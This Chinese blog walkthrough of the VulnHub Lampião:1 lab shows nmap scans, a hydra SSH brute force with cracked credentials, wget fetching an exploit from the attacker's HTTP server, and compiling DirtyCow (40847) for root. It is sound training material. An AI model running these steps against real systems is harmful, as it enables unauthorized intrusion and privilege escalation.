当前位置: 首页 > news >正文

《VulnHub》Lampião:1


title: 《VulnHub》Lampião:1
date: 2024-03-28 21:37:49
updated: 2024-03-28 21:37:50
categories: WriteUp:Cyber-Range
excerpt: 关键技术:主机发现,端口扫描、服务探测、操作系统探测,对开放的端口探测漏洞,dirb 爆破网站目录,cewl 创建社工密码字典,hydra 破解 ssh 密钥,使用 sh 脚本检测 Linux 系统的安全缺陷,在目录下开启简单 http 服务,40847 DirtyCow 利用。
comments: false
tags:
top_image: /images/backimg/SunsetClimbing.png


VulnHub

  • 1:靶场信息
  • 2:打靶
    • 2.1:情报收集 & 威胁建模
    • 2.2:漏洞分析 & 渗透攻击
    • 2.3:后渗透
  • 3:总结
    • 3.1:命令 & 工具
      • 3.1.1:Nmap
      • 3.1.2:dirb
    • 3.2:关键技术


VulnHub 打靶记录。
VulnHub 官网:https://www.vulnhub.com

攻击机为 Kali-Linux-2023.3-vmware-amd64。
Kali NAT IP:192.168.8.10。

1:靶场信息

靶场地址:
https://www.vulnhub.com/entry/lampiao-1,249/

2:打靶

2.1:情报收集 & 威胁建模

主机发现
nmap -sn 192.168.8.0/24

在这里插入图片描述

确定目标 IP 为 192.168.8.139。

进行端口扫描、服务探测、操作系统探测
nmap 192.168.8.139 -p- -sV -sC -O

在这里插入图片描述

Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-03-10 15:23 HKT
Nmap scan report for 192.168.8.139
Host is up (0.00076s latency).
Not shown: 65532 closed tcp ports (reset)
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 6.6.1p1 Ubuntu 2ubuntu2.7 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   1024 46:b1:99:60:7d:81:69:3c:ae:1f:c7:ff:c3:66:e3:10 (DSA)
|   2048 f3:e8:88:f2:2d:d0:b2:54:0b:9c:ad:61:33:59:55:93 (RSA)
|   256 ce:63:2a:f7:53:6e:46:e2:ae:81:e3:ff:b7:16:f4:52 (ECDSA)
|_  256 c6:55:ca:07:37:65:e3:06:c1:d6:5b:77:dc:23:df:cc (ED25519)
80/tcp   open  http?
1898/tcp open  http    Apache httpd 2.4.7 ((Ubuntu))
|_http-server-header: Apache/2.4.7 (Ubuntu)
|_http-generator: Drupal 7 (http://drupal.org)
|_http-title: Lampi\xC3\xA3o
| http-robots.txt: 36 disallowed entries (15 shown)
| /includes/ /misc/ /modules/ /profiles/ /scripts/ 
| /themes/ /CHANGELOG.txt /cron.php /INSTALL.mysql.txt 
| /INSTALL.pgsql.txt /INSTALL.sqlite.txt /install.php /INSTALL.txt 
|_/LICENSE.txt /MAINTAINERS.txt
MAC Address: 00:0C:29:3E:06:9F (VMware)
Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.2 - 4.9
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernelOS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 77.24 seconds

对开放的端口探测漏洞
nmap 192.168.8.139 -p 22,80,1898 --script=vuln

在这里插入图片描述

根据之前得到的信息访问一下 80 端口。

在这里插入图片描述

查看源码也没有发现什么信息。那就访问一下 1898 端口。

在这里插入图片描述

发现一篇文章可以点击。

在这里插入图片描述

遍历一下网页节点,发现两个信息。

在这里插入图片描述

qrc.png 是一张二维码,扫描后没有有用的信息。

在这里插入图片描述

在这里插入图片描述

audio.m4a 是一段音频。

在这里插入图片描述

播放后可以听到以下信息:

user tiago

以下这个页面也是没有什么有效信息。

在这里插入图片描述

尝试爆破一下网页目录
dirb http://192.168.8.139:1898/

在这里插入图片描述

爆破多级目录
dirb http://192.168.8.139:1898/ -w

在这里插入图片描述

没有爆破出什么有用信息。倒是在 robots.txt 文件中发现一个 CHANGELOG.txt 文件

在这里插入图片描述

在这里可以看到 CMS 版本:Drupal 7.54, 2017-02-01

在这里插入图片描述

至此页面没啥可获取的信息了。发挥一下这个网站的余热,用它来生成一份社工性质的字典。

使用 cewl 通过爬虫获取关键信息创建一个密码字典
cewl http://192.168.8.139:1898/ -w cewl.txt

在这里插入图片描述

2.2:漏洞分析 & 渗透攻击

根据前面获取的 user tiago 信息,尝试爆破一下 ssh 密码。

hydra 爆破 ssh 密钥
hydra -l tiago -P cewl.txt 192.168.8.139 ssh

在这里插入图片描述

成功爆破出账号密码。

host: 192.168.8.139   login: tiago   password: Virgulino

使用刚刚获得的用户登录 ssh。

在这里插入图片描述

也可以使用 MSF 利用 Drupal 漏洞进行渗透攻击。这里不做记录。

2.3:后渗透

谷歌搜索一下 Linux 相关检测脚本,可以检测 Linux 上的安全缺陷。关键字:linux exploit suggest

在这里插入图片描述

https://github.com/The-Z-Labs/linux-exploit-suggester

可以用推荐的命令快速下载:
wget https://raw.githubusercontent.com/mzet-/linux-exploit-suggester/master/linux-exploit-suggester.sh -O les.sh

在这里插入图片描述

在这里插入图片描述

在相应目录下开启一个简单的 http 服务,便于目标机器下载相应利用代码。
python3 -m http.server 8088

在这里插入图片描述

目标机器中,进入 /tmp/ 目录,下载。
wget http://192.168.8.15:8088/les.sh

在这里插入图片描述

赋权并运行,检测目标机器上的安全缺陷。

在这里插入图片描述

安全缺陷枚举信息如下(只列出一部分):

tiago@lampiao:/tmp$ chmod +x les.sh 
tiago@lampiao:/tmp$ ./les.sh Available information:Kernel version: 4.4.0
Architecture: i686
Distribution: ubuntu
Distribution version: 14.04
Additional checks (CONFIG_*, sysctl entries, custom Bash commands): performed
Package listing: from current OSSearching among:81 kernel space exploits
49 user space exploitsPossible Exploits:[+] [CVE-2016-5195] dirtycowDetails: https://github.com/dirtycow/dirtycow.github.io/wiki/VulnerabilityDetailsExposure: highly probableTags: debian=7|8,RHEL=5{kernel:2.6.(18|24|33)-*},RHEL=6{kernel:2.6.32-*|3.(0|2|6|8|10).*|2.6.33.9-rt31},RHEL=7{kernel:3.10.0-*|4.2.0-0.21.el7},[ ubuntu=16.04|14.04|12.04 ]Download URL: https://www.exploit-db.com/download/40611Comments: For RHEL/CentOS see exact vulnerable versions here: https://access.redhat.com/sites/default/files/rh-cve-2016-5195_5.sh[+] [CVE-2016-5195] dirtycow 2Details: https://github.com/dirtycow/dirtycow.github.io/wiki/VulnerabilityDetailsExposure: highly probableTags: debian=7|8,RHEL=5|6|7,[ ubuntu=14.04|12.04 ],ubuntu=10.04{kernel:2.6.32-21-generic},ubuntu=16.04{kernel:4.4.0-21-generic}Download URL: https://www.exploit-db.com/download/40839ext-url: https://www.exploit-db.com/download/40847Comments: For RHEL/CentOS see exact vulnerable versions here: https://access.redhat.com/sites/default/files/rh-cve-2016-5195_5.sh[+] [CVE-2021-3156] sudo Baron Samedit 2Details: https://www.qualys.com/2021/01/26/cve-2021-3156/baron-samedit-heap-based-overflow-sudo.txtExposure: probableTags: centos=6|7|8,[ ubuntu=14|16|17|18|19|20 ], debian=9|10Download URL: https://codeload.github.com/worawit/CVE-2021-3156/zip/main[+] [CVE-2022-32250] nft_object UAF (NFT_MSG_NEWSET)Details: https://research.nccgroup.com/2022/09/01/settlers-of-netlink-exploiting-a-limited-uaf-in-nf_tables-cve-2022-32250/
https://blog.theori.io/research/CVE-2022-32250-linux-kernel-lpe-2022/Exposure: less probableTags: ubuntu=(22.04){kernel:5.15.0-27-generic}Download URL: https://raw.githubusercontent.com/theori-io/CVE-2022-32250-exploit/main/exp.cComments: kernel.unprivileged_userns_clone=1 required (to obtain CAP_NET_ADMIN)[+] [CVE-2022-2586] nft_object UAFDetails: https://www.openwall.com/lists/oss-security/2022/08/29/5Exposure: less probableTags: ubuntu=(20.04){kernel:5.12.13}Download URL: https://www.openwall.com/lists/oss-security/2022/08/29/5/1Comments: kernel.unprivileged_userns_clone=1 required (to obtain CAP_NET_ADMIN)[+] [CVE-2021-3156] sudo Baron SameditDetails: https://www.qualys.com/2021/01/26/cve-2021-3156/baron-samedit-heap-based-overflow-sudo.txtExposure: less probableTags: mint=19,ubuntu=18|20, debian=10Download URL: https://codeload.github.com/blasty/CVE-2021-3156/zip/main[+] [CVE-2016-0728] keyringDetails: http://perception-point.io/2016/01/14/analysis-and-exploitation-of-a-linux-kernel-vulnerability-cve-2016-0728/Exposure: less probableDownload URL: https://www.exploit-db.com/download/40003Comments: Exploit takes about ~30 minutes to run. Exploit is not reliable, see: https://cyseclabs.com/blog/cve-2016-0728-poc-not-workingtiago@lampiao:/tmp$ 

同时查看一下目标系统 sudo 命令版本信息
sudo --version

在这里插入图片描述

注意到目标系统存在 “ 脏牛 ” 漏洞。查找一下可用 exp。
searchsploit 40847

在这里插入图片描述

查找一下相关的信息。

在这里插入图片描述

可以看到利用信息。

https://www.exploit-db.com/exploits/40847

在这里插入图片描述

将 kali 上的 exp 拷贝到某个目录,并开启 http 服务,将 exp 上传至目标。

cp /usr/share/exploitdb/exploits/linux/local/40847.cpp /root/Desktop/lampiao/
python3 -m http.server 8088

wget http://192.168.8.15:8088/40847.cpp

在这里插入图片描述

编译为可执行文件并运行

g++ -Wall -pedantic -O2 -std=c++11 -pthread -o myexp 40847.cpp -lutil
./myexp

在这里插入图片描述

利用成功,使用以上密码(dirtyCowFun)即可登录 root。

ssh root@192.168.8.139

在这里插入图片描述

在这里插入图片描述

完结。

3:总结

3.1:命令 & 工具

  • nmap
  • dirb
  • cewl
  • hydra
  • linux-exploit-suggester
    https://github.com/The-Z-Labs/linux-exploit-suggester
  • wget
  • python
  • searchsploit
  • g++
  • ssh

3.1.1:Nmap

部分选项

参数介绍
-snPing Scan - disable port scan
-sVProbe open ports to determine service/version info
-sCequivalent to --script=default
-OEnable OS detection
--script=<Lua scripts><Lua scripts> is a comma separated list of directories, script-files or script-categories

nmap 脚本

  • --script=default:默认的脚本,提供一些基本的漏洞探测和信息收集。
  • --script=vuln:用于检测目标系统上的漏洞。

3.1.2:dirb

dirb,kali linux 下的一个 web 网站目录爆破工具。

部分选项

参数介绍
-wDon't Stop on WARNING messages.

《Dirb工具web网站目录爆破指南》:
https://zhuanlan.zhihu.com/p/267973016

3.2:关键技术

  • 主机发现
    nmap -sn <ip cidr>

  • 端口扫描、服务探测、操作系统探测
    nmap <target> -p- -sV -sC -O

  • 对开放的端口探测漏洞
    nmap <target> -p <port> --script=vuln

  • 爆破网站目录
    dirb <url> [-w]

  • 爬取网页,创建社工密码字典
    cewl <url> -w <txt file>

  • hydra 破解 ssh 密钥
    hydra -l <user> -P <password file> <target> ssh

  • 使用 sh 脚本检测 Linux 系统的安全缺陷。项目地址:https://github.com/The-Z-Labs/linux-exploit-suggester

  • 在目录下开启简单 http 服务
    python3 -m http.server 8088

  • 查找 kali 自带的 exp
    searchsploit <id>

  • 40847 DirtyCow 利用
    https://www.exploit-db.com/exploits/40847
    g++ -Wall -pedantic -O2 -std=c++11 -pthread -o myexp 40847.cpp -lutil


贫贱非辱,贫贱而谄求于人者为辱。

——《围炉夜话》(清)王永彬

相关文章:

《VulnHub》Lampião:1

title: 《VulnHub》Lampio&#xff1a;1 date: 2024-03-28 21:37:49 updated: 2024-03-28 21:37:50 categories: WriteUp&#xff1a;Cyber-Range excerpt: 关键技术&#xff1a;主机发现&#xff0c;端口扫描、服务探测、操作系统探测&#xff0c;对开放的端口探测漏洞&#x…...

RabbitMq高可用

消息队列高级 服务异步通信-高级篇1.消息可靠性1.1.生产者消息确认1.2.消息持久化1.3.消费者消息确认1.4.消费失败重试机制1.5.总结 2.死信交换机2.1.初识死信交换机2.2.TTL2.3.延迟队列 3.惰性队列3.1.消息堆积问题3.2.惰性队列 4.MQ集群4.1.集群分类4.2.普通集群4.3.镜像集群…...

降本增效的车间管理大屏,车间主任看了拍手称快,速来领取。

我们老板觉得车间生产效率太低了&#xff0c;还想让我整一套车间管理的&#xff01; 制造业管理的核心在于降本增效&#xff0c;车间管理可以通过【大数据可视化】来提高管理效率&#xff0c;大屏就可以做到生产管理一「屏」了然&#xff0c;这是【车间管理大屏方案】。 一、…...

Open AI要给GPT应用开发者“发钱” 黄金的宏观关系被打破了吗?

内容摘要 为避免GPTs彻底凉凉&#xff0c;Open AI紧急启动了一项“货币化”计划&#xff0c;直接给那些在GPT Store上的应用开发人员发钱。 正文部分 当地时间周四凌晨&#xff0c;OpenAI在社交媒体上发帖称&#xff0c;正在与小部分美国开发者合作&#xff0c;基于用户使用…...

【Docker】Docker安全与最佳实践:保护你的容器化应用程序

欢迎来到英杰社区&#xff1a; https://bbs.csdn.net/topics/617804998 欢迎来到阿Q社区&#xff1a; https://bbs.csdn.net/topics/617897397 &#x1f4d5;作者简介&#xff1a;热爱跑步的恒川&#xff0c;致力于C/C、Java、Python等多编程语言&#xff0c;热爱跑步&#xff…...

QT 信号(Signal)与槽(Slot)机制

上学后,人们问我长大了要做什么,我写下“快乐”。他们告诉我,我理解错了题目,我告诉他们,他们理解错了人生。 ——约翰列侬 一、信号(signal)与槽(slot) 在QT中,信号(signal)与槽(slot)机制是一种用于对象间通信的重要机制。它允许一个对象发出信号,而其他对象…...

音频干扰检测(频域方法)

测试音响系统的通路上是否有外部干扰时&#xff0c;可以通过播放1000赫兹的正弦波信号&#xff0c;在输出端采集数字信号&#xff08;I2S&#xff0c;TDD&#xff0c;A2B&#xff09;并保存为.wav文件。 然后通过以下Python代码检测。 import numpy as np import librosa im…...

Rust引用借用 vs 原始指针

let v: i32 10; let v1 &v; let a: *const i32 &v; println!("a{:p}", a); let b a as *mut i32; //无法从&v直接转换成*mut i32&#xff0c;需要从*const i32过度 println!("b{:p}", b); unsafe {*b1; } println!("v{} v1{}"…...

抖音视频关键词无水印下载软件|手机网页视频批量提取工具

全新视频关键词无水印下载软件&#xff0c;助您快速获取所需视频&#xff01; 随着时代的发展&#xff0c;视频内容已成为人们获取信息和娱乐的重要途径。为了方便用户获取所需视频&#xff0c;推出了一款功能强大的视频关键词无水印下载软件。该软件主要功能包括关键词批量提取…...

关于Devc++调试的问题以及解决STL变量无法查看

目前Devc的调试主要有以下几点&#xff1a; 1.调试不能直接查看stl变量&#xff0c;会卡死不动 2.目前单步进入只能用鼠标键按 3.若想按下一步进入函数体内&#xff0c;要在函数体内打上断点才行 4.调试到return 0 ;上一句就停了&#xff0c;不会结束程序 5.目前F2跳至断点…...

MATLAB:优化与规划问题

一、线性规划 % 线性规划&#xff08;Linear programming, 简称LP&#xff09; fcoff -[75 120 90 105]; % 目标函数系数向量 A [9 4 7 54 5 6 105 10 8 53 8 9 77 6 4 8]; % 约束不等式系数矩阵 b [3600 2900 3000 2800 2200]; % 约束不等式右端向量 Aeq []; % 约束等式系…...

Oracal执行计划解析

概述 | Id | Operation | Name | Rows | Bytes | TempSpc | Cost (%CPU) | Time | ----------------------------------------------------------------------------------- | 0 | SELECT STATEMENT | | 1…...

对form表单对象中数组中的字段进行校验的方法

当对form表单中&#xff0c;数组readings中的字段进行校验时&#xff0c;prop和rules绑定要写成动态的&#xff0c;如下代码 <div v-for"(item,index) in form.readings"><el-form-item label"上次读数" > <!--prop"scds"-->…...

一、JAVA集成海康SDK

JAVA集成海康SDK 文章目录 JAVA集成海康SDK前言一、项目依赖 jar1. examples.jar2. 项目依赖 jna.jar,可以通过 maven依赖到。二、集成SDK1.HcNetSdkUtil 海康 SDK封装类2.HCNetSDK3.Linux系统集成SDK三、总结前言 提示:首先去海康官网下载 https://open.hikvision.com/dow…...

PAT 乙级 1031 查验身份证 c语言实现

一个合法的身份证号码由17位地区、日期编号和顺序编号加1位校验码组成。校验码的计算规则如下&#xff1a; 首先对前17位数字加权求和&#xff0c;权重分配为&#xff1a;{7&#xff0c;9&#xff0c;10&#xff0c;5&#xff0c;8&#xff0c;4&#xff0c;2&#xff0c;1&am…...

LeetCode 345. 反转字符串中的元音字母

给你一个字符串 s &#xff0c;仅反转字符串中的所有元音字母&#xff0c;并返回结果字符串。 元音字母包括 ‘a’、‘e’、‘i’、‘o’、‘u’&#xff0c;且可能以大小写两种形式出现不止一次。 示例 1&#xff1a; 输入&#xff1a;s “hello” 输出&#xff1a;“holl…...

go中函数与方法的区别与go中关于面向对象理解

声明方法的区别 函数是一段可以独立调用的代码块&#xff0c;它可以有参数和返回值。函数的声明不依赖于任何类型&#xff0c;可以直接通过函数名进行调用。 函数的声明格式如下&#xff1a; func functionName(parameters) returnType {// 函数体 }示例&#xff1a; func A…...

SQL Server 实验二:数据库视图的创建和使用

目录 第一关 相关知识 什么是表 操作数据表 创建数据表 插入数据 修改表结构 删除数据表 编程要求 第一关实验代码&#xff1a; 第二关 相关知识 视图是什么 视图的优缺点 视图的优点 视图的缺点 操作视图 创建视图 通过视图向基本表中插入数据 通过视图修改基本表的…...

树结构导入

Testpublic void testExcel1() {// 写法1&#xff1a;JDK8 ,不用额外写一个DemoDataListener// since: 3.0.0-beta1EasyExcelFactory.read(new File("C:\\Users\\Admin\\Desktop\\树导入.xlsx"), null, new ReadListener<Map>() {public static final int BATC…...

Promise封装ajax

Promise封装原生ajax 1.node的内置模块url, http 2.Promise封装原生ajax 01-node的内置模块 # url: 操作网址 let url require(url) url.parse(网址, [布尔值: 决定是否将查询字符串转换为对象格式])&#xff1a; 将网址解析成对象# http: 创建本地服务器 let http requi…...

java 实现excel文件转pdf | 无水印 | 无限制

文章目录 目录 文章目录 前言 1.项目远程仓库配置 2.pom文件引入相关依赖 3.代码破解 二、Excel转PDF 1.代码实现 2.Aspose.License.xml 授权文件 总结 前言 java处理excel转pdf一直没找到什么好用的免费jar包工具,自己手写的难度,恐怕高级程序员花费一年的事件,也…...

论文浅尝 | 基于判别指令微调生成式大语言模型的知识图谱补全方法(ISWC2024)

笔记整理&#xff1a;刘治强&#xff0c;浙江大学硕士生&#xff0c;研究方向为知识图谱表示学习&#xff0c;大语言模型 论文链接&#xff1a;http://arxiv.org/abs/2407.16127 发表会议&#xff1a;ISWC 2024 1. 动机 传统的知识图谱补全&#xff08;KGC&#xff09;模型通过…...

OpenPrompt 和直接对提示词的嵌入向量进行训练有什么区别

OpenPrompt 和直接对提示词的嵌入向量进行训练有什么区别 直接训练提示词嵌入向量的核心区别 您提到的代码: prompt_embedding = initial_embedding.clone().requires_grad_(True) optimizer = torch.optim.Adam([prompt_embedding...

鸿蒙DevEco Studio HarmonyOS 5跑酷小游戏实现指南

1. 项目概述 本跑酷小游戏基于鸿蒙HarmonyOS 5开发&#xff0c;使用DevEco Studio作为开发工具&#xff0c;采用Java语言实现&#xff0c;包含角色控制、障碍物生成和分数计算系统。 2. 项目结构 /src/main/java/com/example/runner/├── MainAbilitySlice.java // 主界…...

免费数学几何作图web平台

光锐软件免费数学工具&#xff0c;maths,数学制图&#xff0c;数学作图&#xff0c;几何作图&#xff0c;几何&#xff0c;AR开发,AR教育,增强现实,软件公司,XR,MR,VR,虚拟仿真,虚拟现实,混合现实,教育科技产品,职业模拟培训,高保真VR场景,结构互动课件,元宇宙http://xaglare.c…...

Windows安装Miniconda

一、下载 https://www.anaconda.com/download/success 二、安装 三、配置镜像源 Anaconda/Miniconda pip 配置清华镜像源_anaconda配置清华源-CSDN博客 四、常用操作命令 Anaconda/Miniconda 基本操作命令_miniconda创建环境命令-CSDN博客...

jmeter聚合报告中参数详解

sample、average、min、max、90%line、95%line,99%line、Error错误率、吞吐量Thoughput、KB/sec每秒传输的数据量 sample&#xff08;样本数&#xff09; 表示测试中发送的请求数量&#xff0c;即测试执行了多少次请求。 单位&#xff0c;以个或者次数表示。 示例&#xff1a;…...

若依登录用户名和密码加密

/*** 获取公钥&#xff1a;前端用来密码加密* return*/GetMapping("/getPublicKey")public RSAUtil.RSAKeyPair getPublicKey() {return RSAUtil.rsaKeyPair();}新建RSAUti.Java package com.ruoyi.common.utils;import org.apache.commons.codec.binary.Base64; im…...

Matlab实现任意伪彩色图像可视化显示

Matlab实现任意伪彩色图像可视化显示 1、灰度原始图像2、RGB彩色原始图像 在科研研究中&#xff0c;如何展示好看的实验结果图像非常重要&#xff01;&#xff01;&#xff01; 1、灰度原始图像 灰度图像每个像素点只有一个数值&#xff0c;代表该点的​​亮度&#xff08;或…...

React父子组件通信:Props怎么用?如何从父组件向子组件传递数据?

系列回顾&#xff1a; 在上一篇《React核心概念&#xff1a;State是什么&#xff1f;》中&#xff0c;我们学习了如何使用useState让一个组件拥有自己的内部数据&#xff08;State&#xff09;&#xff0c;并通过一个计数器案例&#xff0c;实现了组件的自我更新。这很棒&#…...